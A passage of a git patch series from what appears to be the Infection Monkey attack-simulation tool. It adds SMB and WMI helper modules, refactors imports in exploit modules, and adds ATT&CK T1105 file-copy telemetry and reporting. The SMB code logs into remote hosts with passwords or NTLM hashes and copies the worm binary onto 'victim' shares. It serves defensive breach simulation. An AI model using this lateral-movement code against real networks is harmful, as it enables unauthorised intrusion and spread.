SMB2_DIALECT_21 +from impacket.smbconnection import SMBConnection, SMB_DIALECT + +import infection_monkey.config +import infection_monkey.monkeyfs as monkeyfs +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem + +__author__ = 'itamar' + +LOG = logging.getLogger(__name__) + + +class SmbTools(object): + + @staticmethod + def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60): + assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) + config = infection_monkey.config.WormConfiguration + src_file_size = monkeyfs.getsize(src_path) + + smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) + if not smb: + return None + + # skip guest users + if smb.isGuestSession() > 0: + LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s'," + " LM hash: %s, NTLM hash: %s", + host, username, password, lm_hash, ntlm_hash) + + try: + smb.logoff() + except: + pass + + return None + + try: + resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102) + except Exception as exc: + LOG.debug("Error requesting server info from %r over SMB: %s", + host, exc) + return None + + info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'], + 'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'], + 'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "), + 'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "), + 'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "), + 'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']} + + LOG.debug("Connected to %r using %s:\n%s", + host, dialect, pprint.pformat(info)) + + try: + resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2) + except Exception as exc: + LOG.debug("Error enumerating server shares from %r over SMB: %s", + host, exc) + return None + + resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer'] + + high_priority_shares = () + low_priority_shares = () + file_name = ntpath.split(dst_path)[-1] + + for i in range(len(resp)): + share_name = resp[i]['shi2_netname'].strip("\0 ") + share_path = resp[i]['shi2_path'].strip("\0 ") + current_uses = resp[i]['shi2_current_uses'] + max_uses = resp[i]['shi2_max_uses'] + + if current_uses >= max_uses: + LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded", + share_name, host) + continue + elif not share_path: + LOG.debug("Skipping share '%s' on victim %r because share path is invalid", + share_name, host) + continue + + share_info = {'share_name': share_name, + 'share_path': share_path} + + if dst_path.lower().startswith(share_path.lower()): + high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),) + + low_priority_shares += ((ntpath.sep + file_name, share_info),) + + shares = high_priority_shares + low_priority_shares + + file_uploaded = False + for remote_path, share in shares: + share_name = share['share_name'] + share_path = share['share_path'] + + if not smb: + smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) + if not smb: + return None + + try: + tid = smb.connectTree(share_name) + except Exception as exc: + LOG.debug("Error connecting tree to share '%s' on victim %r: %s", + share_name, host, exc) + continue + + LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r", + share_name, share_path, remote_path, host.ip_addr[0], ) + + remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) + + # check if file is found on destination + if config.skip_exploit_if_file_exist: + try: + file_info = smb.listPath(share_name, remote_path) + if file_info: + if src_file_size == file_info[0].get_filesize(): + LOG.debug("Remote monkey file is same as source, skipping copy") + return remote_full_path + + LOG.debug("Remote monkey file is found but different, moving along with attack") + except: + pass # file isn't found on remote victim, moving on + + try: + with monkeyfs.open(src_path, 'rb') as source_file: + # make sure of the timeout + smb.setTimeout(timeout) + smb.putFile(share_name, remote_path, source_file.read) + + file_uploaded = True + T1105Telem(ScanStatus.USED, host.ip_addr[0], dst_path).send() + LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r", + src_path, share_name, share_path, host) + + break + except Exception as exc: + LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", + share_name, host, exc) + T1105Telem(ScanStatus.SCANNED, host.ip_addr[0], dst_path).send() + continue + finally: + try: + smb.logoff() + except: + pass + + smb = None + + if not file_uploaded: + LOG.debug("Couldn't find a writable share for exploiting" + " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s", + host, username, password, lm_hash, ntlm_hash) + return None + + return remote_full_path + + @staticmethod + def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60): + try: + smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) + except Exception as exc: + LOG.debug("SMB connection to %r on port 445 failed," + " trying port 139 (%s)", host, exc) + + try: + smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139) + except Exception as exc: + LOG.debug("SMB connection to %r on port 139 failed as well (%s)", + host, exc) + return None, None + + dialect = {SMB_DIALECT: "SMBv1", + SMB2_DIALECT_002: "SMBv2.0", + SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0") + + # we know this should work because the WMI connection worked + try: + smb.login(username, password, '', lm_hash, ntlm_hash) + except Exception as exc: + LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s", + host, username, password, lm_hash, ntlm_hash, exc) + return None, dialect + + smb.setTimeout(timeout) + return smb, dialect + + @staticmethod + def execute_rpc_call(smb, rpc_func, *args): + dce = SmbTools.get_dce_bind(smb) + rpc_method_wrapper = getattr(srvs, rpc_func, None) + if not rpc_method_wrapper: + raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,)) + + return rpc_method_wrapper(dce, *args) + + @staticmethod + def get_dce_bind(smb): + rpctransport = transport.SMBTransport(smb.getRemoteHost(), + smb.getRemoteHost(), + filename=r'\srvsvc', + smb_connection=smb) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + + return dce diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py new file mode 100644 index 000000000..abbb9f936 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -0,0 +1,150 @@ +import logging + +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError +from impacket.dcerpc.v5.dcomrt import DCOMConnection +from impacket.dcerpc.v5.dtypes import NULL + +__author__ = 'itamar' + +LOG = logging.getLogger(__name__) + + +class DceRpcException(Exception): + pass + + +class AccessDeniedException(Exception): + def __init__(self, host, username, password, domain): + super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" % + (host, domain, username, password)) + + +class WmiTools(object): + class WmiConnection(object): + def __init__(self): + self._dcom = None + self._iWbemServices = None + + @property + def connected(self): + return self._dcom is not None + + def connect(self, host, username, password, domain=None, lmhash="", nthash=""): + if not domain: + domain = host.ip_addr + + dcom = DCOMConnection(host.ip_addr, + username=username, + password=password, + domain=domain, + lmhash=lmhash, + nthash=nthash, + oxidResolver=True) + + try: + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, + wmi.IID_IWbemLevel1Login) + except Exception as exc: + dcom.disconnect() + + if "rpc_s_access_denied" == exc.message: + raise AccessDeniedException(host, username, password, domain) + + raise + + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + + try: + self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + self._dcom = dcom + except: + dcom.disconnect() + + raise + finally: + iWbemLevel1Login.RemRelease() + + def close(self): + assert self.connected, "WmiConnection isn't connected" + + self._iWbemServices.RemRelease() + self._iWbemServices = None + + self._dcom.disconnect() + self._dcom = None + + @staticmethod + def dcom_wrap(func): + def _wrapper(*args, **kwarg): + try: + return func(*args, **kwarg) + finally: + WmiTools.dcom_cleanup() + + return _wrapper + + @staticmethod + def dcom_cleanup(): + for port_map in DCOMConnection.PORTMAPS.keys(): + del DCOMConnection.PORTMAPS[port_map] + for oid_set in DCOMConnection.OID_SET.keys(): + del DCOMConnection.OID_SET[port_map] + + DCOMConnection.OID_SET = {} + DCOMConnection.PORTMAPS = {} + if DCOMConnection.PINGTIMER: + DCOMConnection.PINGTIMER.cancel() + DCOMConnection.PINGTIMER.join() + DCOMConnection.PINGTIMER = None + + @staticmethod + def get_object(wmi_connection, object_name): + assert isinstance(wmi_connection, WmiTools.WmiConnection) + assert wmi_connection.connected, "WmiConnection isn't connected" + + return wmi_connection._iWbemServices.GetObject(object_name)[0] + + @staticmethod + def list_object(wmi_connection, object_name, fields=None, where=None): + assert isinstance(wmi_connection, WmiTools.WmiConnection) + assert wmi_connection.connected, "WmiConnection isn't connected" + + if fields: + fields_query = ",".join(fields) + else: + fields_query = "*" + + wql_query = "SELECT %s FROM %s" % (fields_query, object_name) + + if where: + wql_query += " WHERE %s" % (where,) + + LOG.debug("Execution WQL query: %r", wql_query) + + iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query) + + query = [] + try: + while True: + try: + next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0] + record = next_item.getProperties() + + if not fields: + fields = record.keys() + + query_record = {} + for key in fields: + query_record[key] = record[key]['value'] + + query.append(query_record) + except DCERPCSessionError as exc: + if 1 == exc.error_code: + break + + raise + finally: + iEnumWbemClassObject.RemRelease() + + return query diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 498c09eea..adac06f2d 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -7,8 +7,8 @@ import socket import time from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import build_monkey_commandline -from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, build_monkey_commandline, get_monkey_depth +from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT from logging import getLogger diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index fe45c65ce..b33a3cfb5 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -5,7 +5,8 @@ from abc import abstractmethod from infection_monkey.exploit import HostExploiter from infection_monkey.model import * -from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 4c99f82b9..3d38b0fcf 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -8,7 +8,8 @@ from __future__ import print_function from requests import post, exceptions from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target +from infection_monkey.exploit.tools.helpers import get_interface_to_target +from infection_monkey.network.info import get_free_tcp_port from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import threading diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index e1d2e5b85..2cf5010b2 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -14,11 +14,11 @@ from enum import IntEnum from impacket import uuid from impacket.dcerpc.v5 import transport -from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from infection_monkey.network import SMBFinger from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline from . import HostExploiter LOG = getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 9439d7414..c9287a25e 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -6,8 +6,11 @@ import traceback from impacket.dcerpc.v5.rpcrt import DCERPCException from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \ +from infection_monkey.exploit.tools.helpers import get_target_monkey, \ get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException +from infection_monkey.exploit.tools.smb_tools import SmbTools +from infection_monkey.exploit.tools.wmi_tools import WmiTools from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from common.utils.exploit_enum import ExploitType diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 06e0f267b..0456ffba2 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -19,7 +19,7 @@ from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach from common.utils.attack_utils import ScanStatus -from infection_monkey.exploit.tools import get_interface_to_target +from infection_monkey.exploit.tools.helpers import get_interface_to_target __author__ = 'itamar' diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index 61ec6f5d7..1a2070ac1 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -6,6 +6,9 @@ from infection_monkey.post_breach.pba import PBA from infection_monkey.control import ControlClient from infection_monkey.config import WormConfiguration from infection_monkey.utils import get_monkey_dir_path +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from common.utils.attack_utils import ScanStatus +from infection_monkey.exploit.tools.helpers import get_interface_to_target LOG = logging.getLogger(__name__) @@ -81,7 +84,13 @@ class UsersPBA(PBA): if not pba_file_contents or not pba_file_contents.content: LOG.error("Island didn't respond with post breach file.") + T1105Telem(ScanStatus.SCANNED, + get_interface_to_target(WormConfiguration.current_server.split(':')[0]), + filename).send() return False + T1105Telem(ScanStatus.USED, + get_interface_to_target(WormConfiguration.current_server.split(':')[0]), + filename).send() try: with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: written_PBA_file.write(pba_file_contents.content) diff --git a/monkey/infection_monkey/telemetry/attack/t1105_telem.py b/monkey/infection_monkey/telemetry/attack/t1105_telem.py new file mode 100644 index 000000000..171c4b963 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1105_telem.py @@ -0,0 +1,22 @@ +from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem + + +class T1105Telem(AttackTelem): + def __init__(self, status, host, path): + """ + T1105 telemetry. + :param status: ScanStatus of technique + :param host: IP of machine which downloaded the file + :param path: Uploaded file's path + """ + super(T1105Telem, self).__init__('T1105', status) + self.path = path + self.host = host + + def get_data(self): + data = super(T1105Telem, self).get_data() + data.update({ + 'path': self.path, + 'host': self.host + }) + return data diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index 0f01cf64a..b4cb2e488 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -6,7 +6,6 @@ import threading import urllib from logging import getLogger from urlparse import urlsplit -from threading import Lock import infection_monkey.monkeyfs as monkeyfs from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time @@ -165,11 +164,15 @@ class HTTPServer(threading.Thread): def run(self): class TempHandler(FileServHTTPRequestHandler): + from common.utils.attack_utils import ScanStatus + from infection_monkey.telemetry.attack.t1105_telem import T1105Telem + filename = self._filename @staticmethod def report_download(dest=None): LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) + TempHandler.T1105Telem(TempHandler.ScanStatus.USED, dest[0], self._filename).send() self.downloads += 1 if not self.downloads < self.max_downloads: return True @@ -212,11 +215,14 @@ class LockedHTTPServer(threading.Thread): def run(self): class TempHandler(FileServHTTPRequestHandler): + from common.utils.attack_utils import ScanStatus + from infection_monkey.telemetry.attack.t1105_telem import T1105Telem filename = self._filename @staticmethod def report_download(dest=None): LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) + TempHandler.T1105Telem(TempHandler.ScanStatus.USED, dest[0], self._filename).send() self.downloads += 1 if not self.downloads < self.max_downloads: return True diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index 999f4d7fc..722dea50e 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -9,7 +9,7 @@ from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import local_ips, get_free_tcp_port from infection_monkey.network.tools import check_tcp_port from infection_monkey.transport.base import get_last_serve_time -from infection_monkey.exploit.tools import get_interface_to_target +from infection_monkey.exploit.tools.helpers import get_interface_to_target __author__ = 'hoffer' diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index a79d38490..4a165940d 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -8,7 +8,7 @@ import time import infection_monkey.monkeyfs as monkeyfs from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient -from infection_monkey.exploit.tools import build_monkey_commandline_explicitly +from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly from infection_monkey.model import MONKEY_CMDLINE_WINDOWS from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python From 685362a5f4c5be6aa5832ef6f8fd6488e05a1a6c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 5 Jul 2019 16:05:35 +0300 Subject: [PATCH 05/43] Implemented file copy technique's report parsing. --- monkey/infection_monkey/exploit/sambacry.py | 6 ++- monkey/infection_monkey/exploit/sshexec.py | 11 ++++- .../exploit/tools/smb_tools.py | 11 ++++- .../post_breach/actions/users_custom_pba.py | 2 + .../telemetry/attack/t1105_telem.py | 17 ++++---- monkey/infection_monkey/transport/http.py | 11 ++++- .../cc/services/attack/attack_report.py | 5 ++- .../cc/services/attack/attack_schema.py | 8 ++++ .../attack/technique_reports/T1105.py | 25 ++++++++++++ .../attack/technique_reports/__init__.py | 12 +++--- .../components/attack/techniques/Helpers.js | 6 ++- .../src/components/attack/techniques/T1105.js | 40 +++++++++++++++++++ .../report-components/AttackReport.js | 4 +- 13 files changed, 134 insertions(+), 24 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1105.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 9a9f934fb..86e43c73c 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -20,6 +20,7 @@ from infection_monkey.exploit import HostExploiter from infection_monkey.model import DROPPER_ARG from infection_monkey.network.smbfinger import SMB_SERVICE from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_interface_to_target from infection_monkey.pyinstaller_utils import get_binary_file_path from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1105_telem import T1105Telem @@ -268,7 +269,10 @@ class SambaCryExploiter(HostExploiter): with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read) - T1105Telem(ScanStatus.USED, self.host.ip_addr[0], monkey_bin_64_src_path).send() + T1105Telem(ScanStatus.USED, + get_interface_to_target(self.host.ip_addr[0]), + self.host.ip_addr[0], + monkey_bin_64_src_path).send() smb_client.disconnectTree(tree_id) def trigger_module(self, smb_client, share): diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 1c616c6e1..2c56471a4 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -7,6 +7,7 @@ import StringIO import infection_monkey.monkeyfs as monkeyfs from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.helpers import get_interface_to_target from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port from common.utils.exploit_enum import ExploitType @@ -163,11 +164,17 @@ class SSHExploiter(HostExploiter): ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0o777) - T1105Telem(ScanStatus.USED, self.host.ip_addr[0], src_path).send() + T1105Telem(ScanStatus.USED, + get_interface_to_target(self.host.ip_addr[0]), + self.host.ip_addr[0], + src_path).send() ftp.close() except Exception as exc: LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc) - T1105Telem(ScanStatus.SCANNED, self.host.ip_addr[0], src_path).send() + T1105Telem(ScanStatus.SCANNED, + get_interface_to_target(self.host.ip_addr[0]), + self.host.ip_addr[0], + src_path).send() return False try: diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 89e755d28..af088d9eb 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -10,6 +10,7 @@ import infection_monkey.config import infection_monkey.monkeyfs as monkeyfs from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from infection_monkey.exploit.tools.helpers import get_interface_to_target __author__ = 'itamar' @@ -138,7 +139,10 @@ class SmbTools(object): smb.putFile(share_name, remote_path, source_file.read) file_uploaded = True - T1105Telem(ScanStatus.USED, host.ip_addr[0], dst_path).send() + T1105Telem(ScanStatus.USED, + get_interface_to_target(host.ip_addr[0]), + host.ip_addr[0], + dst_path).send() LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r", src_path, share_name, share_path, host) @@ -146,7 +150,10 @@ class SmbTools(object): except Exception as exc: LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc) - T1105Telem(ScanStatus.SCANNED, host.ip_addr[0], dst_path).send() + T1105Telem(ScanStatus.SCANNED, + get_interface_to_target(host.ip_addr[0]), + host.ip_addr[0], + dst_path).send() continue finally: try: diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index 1a2070ac1..d923cb60e 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -85,10 +85,12 @@ class UsersPBA(PBA): if not pba_file_contents or not pba_file_contents.content: LOG.error("Island didn't respond with post breach file.") T1105Telem(ScanStatus.SCANNED, + WormConfiguration.current_server.split(':')[0], get_interface_to_target(WormConfiguration.current_server.split(':')[0]), filename).send() return False T1105Telem(ScanStatus.USED, + WormConfiguration.current_server.split(':')[0], get_interface_to_target(WormConfiguration.current_server.split(':')[0]), filename).send() try: diff --git a/monkey/infection_monkey/telemetry/attack/t1105_telem.py b/monkey/infection_monkey/telemetry/attack/t1105_telem.py index 171c4b963..454391da8 100644 --- a/monkey/infection_monkey/telemetry/attack/t1105_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1105_telem.py @@ -2,21 +2,24 @@ from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem class T1105Telem(AttackTelem): - def __init__(self, status, host, path): + def __init__(self, status, src, dst, filename): """ T1105 telemetry. :param status: ScanStatus of technique - :param host: IP of machine which downloaded the file - :param path: Uploaded file's path + :param src: IP of machine which uploaded the file + :param dst: IP of machine which downloaded the file + :param filename: Uploaded file's name """ super(T1105Telem, self).__init__('T1105', status) - self.path = path - self.host = host + self.filename = filename + self.src = src + self.dst = dst def get_data(self): data = super(T1105Telem, self).get_data() data.update({ - 'path': self.path, - 'host': self.host + 'filename': self.filename, + 'src': self.src, + 'dst': self.dst }) return data diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index b4cb2e488..8da49f637 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -9,6 +9,7 @@ from urlparse import urlsplit import infection_monkey.monkeyfs as monkeyfs from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time +from infection_monkey.exploit.tools.helpers import get_interface_to_target __author__ = 'hoffer' @@ -172,7 +173,10 @@ class HTTPServer(threading.Thread): @staticmethod def report_download(dest=None): LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) - TempHandler.T1105Telem(TempHandler.ScanStatus.USED, dest[0], self._filename).send() + TempHandler.T1105Telem(TempHandler.ScanStatus.USED, + get_interface_to_target(dest[0]), + dest[0], + self._filename).send() self.downloads += 1 if not self.downloads < self.max_downloads: return True @@ -222,7 +226,10 @@ class LockedHTTPServer(threading.Thread): @staticmethod def report_download(dest=None): LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) - TempHandler.T1105Telem(TempHandler.ScanStatus.USED, dest[0], self._filename).send() + TempHandler.T1105Telem(TempHandler.ScanStatus.USED, + get_interface_to_target(dest[0]), + dest[0], + self._filename).send() self.downloads += 1 if not self.downloads < self.max_downloads: return True diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 7bec85a32..fdf57fb85 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,6 +1,6 @@ import logging from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 -from monkey_island.cc.services.attack.technique_reports import T1145 +from monkey_island.cc.services.attack.technique_reports import T1145, T1105 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -17,7 +17,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1059': T1059.T1059, 'T1086': T1086.T1086, 'T1082': T1082.T1082, - 'T1145': T1145.T1145} + 'T1145': T1145.T1145, + 'T1105': T1105.T1105} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 00d3e9536..be53a7555 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -40,6 +40,14 @@ SCHEMA = { "necessary": False, "description": "Pass the hash (PtH) is a method of authenticating as a user without " "having access to the user's cleartext password." + }, + "T1105": { + "title": "T1105 Remote file copy", + "type": "bool", + "value": True, + "necessary": True, + "description": "Files may be copied from one system to another to stage " + "adversary tools or other files over the course of an operation." } } }, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py new file mode 100644 index 000000000..176bae052 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py @@ -0,0 +1,25 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1105(AttackTechnique): + + tech_id = "T1105" + unscanned_msg = "Monkey didn't try to copy files to any systems." + scanned_msg = "Monkey tried to copy files, but failed." + used_msg = "Monkey successfully copied files to systems on the network." + + query = [{'$match': {'telem_category': 'attack', + 'data.technique': tech_id}}, + {'$project': {'_id': 0, + 'src': '$data.src', + 'dst': '$data.dst', + 'filename': '$data.filename'}}] + + @staticmethod + def get_report_data(): + data = T1105.get_tech_base_data() + data.update({'files': list(mongo.db.telemetry.aggregate(T1105.query))}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index edd180d50..81b7dd6bf 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -52,13 +52,13 @@ class AttackTechnique(object): Gets the status of a certain attack technique. :return: ScanStatus Enum object """ - if mongo.db.attack_results.find_one({'telem_category': 'attack', - 'status': ScanStatus.USED.value, - 'technique': cls.tech_id}): + if mongo.db.telemetry.find_one({'telem_category': 'attack', + 'data.status': ScanStatus.USED.value, + 'data.technique': cls.tech_id}): return ScanStatus.USED - elif mongo.db.attack_results.find_one({'telem_category': 'attack', - 'status': ScanStatus.SCANNED.value, - 'technique': cls.tech_id}): + elif mongo.db.telemetry.find_one({'telem_category': 'attack', + 'data.status': ScanStatus.SCANNED.value, + 'data.technique': cls.tech_id}): return ScanStatus.SCANNED else: return ScanStatus.UNSCANNED diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index 9885219ad..1060f4b2d 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -11,7 +11,11 @@ export function renderMachine(val){ export function renderMachineFromSystemData(data) { let machineStr = 